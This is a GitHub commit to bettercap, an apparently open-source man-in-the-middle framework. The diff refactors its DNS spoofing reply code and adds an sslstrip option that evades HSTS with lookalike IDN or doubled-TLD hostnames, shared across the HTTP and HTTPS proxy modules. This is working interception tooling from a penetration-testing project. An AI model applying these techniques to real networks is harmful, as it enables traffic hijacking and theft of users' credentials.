Skip to content

Commit

Permalink
Fix sslstrip & some related issues in http(s).proxy and dns.spoof
Browse files Browse the repository at this point in the history
  • Loading branch information
Petitoto committed Apr 20, 2020
1 parent 318029c commit 40c7203
Show file tree
Hide file tree
Showing 7 changed files with 221 additions and 219 deletions.
35 changes: 20 additions & 15 deletions modules/dns_spoof/dns_spoof.go
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,7 @@ import (
"strconv"
"sync"

"github.com/bettercap/bettercap/log"
"github.com/bettercap/bettercap/packets"
"github.com/bettercap/bettercap/session"

Expand Down Expand Up @@ -148,23 +149,21 @@ func (mod *DNSSpoofer) Configure() error {
return nil
}

func (mod *DNSSpoofer) dnsReply(pkt gopacket.Packet, peth *layers.Ethernet, pudp *layers.UDP, domain string, address net.IP, req *layers.DNS, target net.HardwareAddr) {
func DnsReply(s *session.Session, TTL uint32, pkt gopacket.Packet, peth *layers.Ethernet, pudp *layers.UDP, domain string, address net.IP, req *layers.DNS, target net.HardwareAddr) (string, string) {
redir := fmt.Sprintf("(->%s)", address.String())
who := target.String()

if t, found := mod.Session.Lan.Get(target.String()); found {
if t, found := s.Lan.Get(target.String()); found {
who = t.String()
}

mod.Info("sending spoofed DNS reply for %s %s to %s.", tui.Red(domain), tui.Dim(redir), tui.Bold(who))

var err error
var src, dst net.IP

nlayer := pkt.NetworkLayer()
if nlayer == nil {
mod.Debug("missing network layer skipping packet.")
return
log.Debug("missing network layer skipping packet.")
return "", ""
}

var eType layers.EthernetType
Expand Down Expand Up @@ -198,7 +197,7 @@ func (mod *DNSSpoofer) dnsReply(pkt gopacket.Packet, peth *layers.Ethernet, pudp
Name: []byte(q.Name),
Type: q.Type,
Class: q.Class,
TTL: mod.TTL,
TTL: TTL,
IP: address,
})
}
Expand Down Expand Up @@ -232,8 +231,8 @@ func (mod *DNSSpoofer) dnsReply(pkt gopacket.Packet, peth *layers.Ethernet, pudp

err, raw = packets.Serialize(&eth, &ip6, &udp, &dns)
if err != nil {
mod.Error("error serializing packet: %s.", err)
return
log.Error("error serializing packet: %s.", err)
return "", ""
}
} else {
ip4 := layers.IPv4{
Expand All @@ -253,15 +252,18 @@ func (mod *DNSSpoofer) dnsReply(pkt gopacket.Packet, peth *layers.Ethernet, pudp

err, raw = packets.Serialize(&eth, &ip4, &udp, &dns)
if err != nil {
mod.Error("error serializing packet: %s.", err)
return
log.Error("error serializing packet: %s.", err)
return "", ""
}
}

mod.Debug("sending %d bytes of packet ...", len(raw))
if err := mod.Session.Queue.Send(raw); err != nil {
mod.Error("error sending packet: %s", err)
log.Debug("sending %d bytes of packet ...", len(raw))
if err := s.Queue.Send(raw); err != nil {
log.Error("error sending packet: %s", err)
return "", ""
}

return redir, who
}

func (mod *DNSSpoofer) onPacket(pkt gopacket.Packet) {
Expand All @@ -279,7 +281,10 @@ func (mod *DNSSpoofer) onPacket(pkt gopacket.Packet) {
for _, q := range dns.Questions {
qName := string(q.Name)
if address := mod.Hosts.Resolve(qName); address != nil {
mod.dnsReply(pkt, eth, udp, qName, address, dns, eth.SrcMAC)
redir, who := DnsReply(mod.Session, mod.TTL, pkt, eth, udp, qName, address, dns, eth.SrcMAC)
if redir != "" && who != "" {
mod.Info("sending spoofed DNS reply for %s %s to %s.", tui.Red(qName), tui.Dim(redir), tui.Bold(who))
}
break
} else {
mod.Debug("skipping domain %s", qName)
Expand Down
19 changes: 17 additions & 2 deletions modules/http_proxy/http_proxy.go
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,7 @@ type HttpProxy struct {
func NewHttpProxy(s *session.Session) *HttpProxy {
mod := &HttpProxy{
SessionModule: session.NewSessionModule("http.proxy", s),
proxy: NewHTTPProxy(s),
proxy: NewHTTPProxy(s, "http.proxy"),
}

mod.AddParam(session.NewIntParameter("http.port",
Expand Down Expand Up @@ -54,6 +54,10 @@ func NewHttpProxy(s *session.Session) *HttpProxy {
"false",
"Enable or disable SSL stripping."))

mod.AddParam(session.NewBoolParameter("http.proxy.sslstrip.useIDN",
"false",
"Use an Internationalized Domain Name to bypass HSTS. Otherwise, double the last TLD's character"))

mod.AddHandler(session.NewModuleHandler("http.proxy on", "",
"Start HTTP proxy.",
func(args []string) error {
Expand All @@ -66,6 +70,8 @@ func NewHttpProxy(s *session.Session) *HttpProxy {
return mod.Stop()
}))

mod.InitState("stripper")

return mod
}

Expand All @@ -89,6 +95,7 @@ func (mod *HttpProxy) Configure() error {
var doRedirect bool
var scriptPath string
var stripSSL bool
var useIDN bool
var jsToInject string
var blacklist string
var whitelist string
Expand All @@ -107,6 +114,8 @@ func (mod *HttpProxy) Configure() error {
return err
} else if err, stripSSL = mod.BoolParam("http.proxy.sslstrip"); err != nil {
return err
} else if err, useIDN = mod.BoolParam("http.proxy.sslstrip.useIDN"); err != nil {
return err
} else if err, jsToInject = mod.StringParam("http.proxy.injectjs"); err != nil {
return err
} else if err, blacklist = mod.StringParam("http.proxy.blacklist"); err != nil {
Expand All @@ -118,7 +127,12 @@ func (mod *HttpProxy) Configure() error {
mod.proxy.Blacklist = str.Comma(blacklist)
mod.proxy.Whitelist = str.Comma(whitelist)

return mod.proxy.Configure(address, proxyPort, httpPort, doRedirect, scriptPath, jsToInject, stripSSL)
error := mod.proxy.Configure(address, proxyPort, httpPort, doRedirect, scriptPath, jsToInject, stripSSL, useIDN)

// save stripper to share it with other http(s) proxies
mod.State.Store("stripper", mod.proxy.Stripper)

return error
}

func (mod *HttpProxy) Start() error {
Expand All @@ -132,6 +146,7 @@ func (mod *HttpProxy) Start() error {
}

func (mod *HttpProxy) Stop() error {
mod.State.Store("stripper", nil)
return mod.SetRunning(false, func() {
mod.proxy.Stop()
})
Expand Down
69 changes: 44 additions & 25 deletions modules/http_proxy/http_proxy_base.go
Original file line number Diff line number Diff line change
Expand Up @@ -45,14 +45,14 @@ type HTTPProxy struct {
KeyFile string
Blacklist []string
Whitelist []string
Sess *session.Session
Stripper *SSLStripper

jsHook string
isTLS bool
isRunning bool
doRedirect bool
stripper *SSLStripper
sniListener net.Listener
sess *session.Session
tag string
}

Expand All @@ -72,18 +72,18 @@ func (l dummyLogger) Printf(format string, v ...interface{}) {
l.p.Debug("[goproxy.log] %s", str.Trim(fmt.Sprintf(format, v...)))
}

func NewHTTPProxy(s *session.Session) *HTTPProxy {
func NewHTTPProxy(s *session.Session, tag string) *HTTPProxy {
p := &HTTPProxy{
Name: "http.proxy",
Proxy: goproxy.NewProxyHttpServer(),
sess: s,
stripper: NewSSLStripper(s, false),
Sess: s,
Stripper: NewSSLStripper(s, false, false),
isTLS: false,
doRedirect: true,
Server: nil,
Blacklist: make([]string, 0),
Whitelist: make([]string, 0),
tag: session.AsTag("http.proxy"),
tag: session.AsTag(tag),
}

p.Proxy.Verbose = false
Expand All @@ -107,23 +107,23 @@ func NewHTTPProxy(s *session.Session) *HTTPProxy {
}

func (p *HTTPProxy) Debug(format string, args ...interface{}) {
p.sess.Events.Log(log.DEBUG, p.tag+format, args...)
p.Sess.Events.Log(log.DEBUG, p.tag+format, args...)
}

func (p *HTTPProxy) Info(format string, args ...interface{}) {
p.sess.Events.Log(log.INFO, p.tag+format, args...)
p.Sess.Events.Log(log.INFO, p.tag+format, args...)
}

func (p *HTTPProxy) Warning(format string, args ...interface{}) {
p.sess.Events.Log(log.WARNING, p.tag+format, args...)
p.Sess.Events.Log(log.WARNING, p.tag+format, args...)
}

func (p *HTTPProxy) Error(format string, args ...interface{}) {
p.sess.Events.Log(log.ERROR, p.tag+format, args...)
p.Sess.Events.Log(log.ERROR, p.tag+format, args...)
}

func (p *HTTPProxy) Fatal(format string, args ...interface{}) {
p.sess.Events.Log(log.FATAL, p.tag+format, args...)
p.Sess.Events.Log(log.FATAL, p.tag+format, args...)
}

func (p *HTTPProxy) doProxy(req *http.Request) bool {
Expand Down Expand Up @@ -170,12 +170,32 @@ func (p *HTTPProxy) shouldProxy(req *http.Request) bool {
}

func (p *HTTPProxy) Configure(address string, proxyPort int, httpPort int, doRedirect bool, scriptPath string,
jsToInject string, stripSSL bool) error {
jsToInject string, stripSSL bool, useIDN bool) error {
var err error

p.stripper.Enable(stripSSL)
// check if another http(s) proxy is using sslstrip and merge strippers
if stripSSL {
for _, mname := range []string{"http.proxy", "https.proxy"}{
err, m := p.Sess.Module(mname)
if err == nil && m.Running() {
var mextra interface{}
var mstripper *SSLStripper
mextra = m.Extra()
mextramap := mextra.(map[string]interface{})
mstripper = mextramap["stripper"].(*SSLStripper)
if mstripper != nil && mstripper.Enabled() {
p.Info("found another proxy using sslstrip -> merging strippers...")
p.Stripper = mstripper
break
}
}
}
}

p.Stripper.Enable(stripSSL, useIDN)
p.Address = address
p.doRedirect = doRedirect
p.jsHook = ""

if strings.HasPrefix(jsToInject, "http://") || strings.HasPrefix(jsToInject, "https://") {
p.jsHook = fmt.Sprintf("<script src=\"%s\" type=\"text/javascript\"></script></head>", jsToInject)
Expand All @@ -195,7 +215,7 @@ func (p *HTTPProxy) Configure(address string, proxyPort int, httpPort int, doRed
}

if scriptPath != "" {
if err, p.Script = LoadHttpProxyScript(scriptPath, p.sess); err != nil {
if err, p.Script = LoadHttpProxyScript(scriptPath, p.Sess); err != nil {
return err
} else {
p.Debug("proxy script %s loaded.", scriptPath)
Expand All @@ -210,18 +230,18 @@ func (p *HTTPProxy) Configure(address string, proxyPort int, httpPort int, doRed
}

if p.doRedirect {
if !p.sess.Firewall.IsForwardingEnabled() {
if !p.Sess.Firewall.IsForwardingEnabled() {
p.Info("enabling forwarding.")
p.sess.Firewall.EnableForwarding(true)
p.Sess.Firewall.EnableForwarding(true)
}

p.Redirection = firewall.NewRedirection(p.sess.Interface.Name(),
p.Redirection = firewall.NewRedirection(p.Sess.Interface.Name(),
"TCP",
httpPort,
p.Address,
proxyPort)

if err := p.sess.Firewall.EnableRedirection(p.Redirection, true); err != nil {
if err := p.Sess.Firewall.EnableRedirection(p.Redirection, true); err != nil {
return err
}

Expand All @@ -230,7 +250,7 @@ func (p *HTTPProxy) Configure(address string, proxyPort int, httpPort int, doRed
p.Warning("port redirection disabled, the proxy must be set manually to work")
}

p.sess.UnkCmdCallback = func(cmd string) bool {
p.Sess.UnkCmdCallback = func(cmd string) bool {
if p.Script != nil {
return p.Script.OnCommand(cmd)
}
Expand Down Expand Up @@ -277,14 +297,13 @@ func (p *HTTPProxy) TLSConfigFromCA(ca *tls.Certificate) func(host string, ctx *

func (p *HTTPProxy) ConfigureTLS(address string, proxyPort int, httpPort int, doRedirect bool, scriptPath string,
certFile string,
keyFile string, jsToInject string, stripSSL bool) (err error) {
if err = p.Configure(address, proxyPort, httpPort, doRedirect, scriptPath, jsToInject, stripSSL); err != nil {
keyFile string, jsToInject string, stripSSL bool, useIDN bool) (err error) {
if err = p.Configure(address, proxyPort, httpPort, doRedirect, scriptPath, jsToInject, stripSSL, useIDN); err != nil {
return err
}

p.isTLS = true
p.Name = "https.proxy"
p.tag = session.AsTag("https.proxy")
p.CertFile = certFile
p.KeyFile = keyFile

Expand Down Expand Up @@ -393,7 +412,7 @@ func (p *HTTPProxy) Start() {
var err error

strip := tui.Yellow("enabled")
if !p.stripper.Enabled() {
if !p.Stripper.Enabled() {
strip = tui.Dim("disabled")
}

Expand All @@ -414,13 +433,13 @@ func (p *HTTPProxy) Start() {
func (p *HTTPProxy) Stop() error {
if p.doRedirect && p.Redirection != nil {
p.Debug("disabling redirection %s", p.Redirection.String())
if err := p.sess.Firewall.EnableRedirection(p.Redirection, false); err != nil {
if err := p.Sess.Firewall.EnableRedirection(p.Redirection, false); err != nil {
return err
}
p.Redirection = nil
}

p.sess.UnkCmdCallback = nil
p.Sess.UnkCmdCallback = nil

if p.isTLS {
p.isRunning = false
Expand Down

0 comments on commit 40c7203

Please sign in to comment.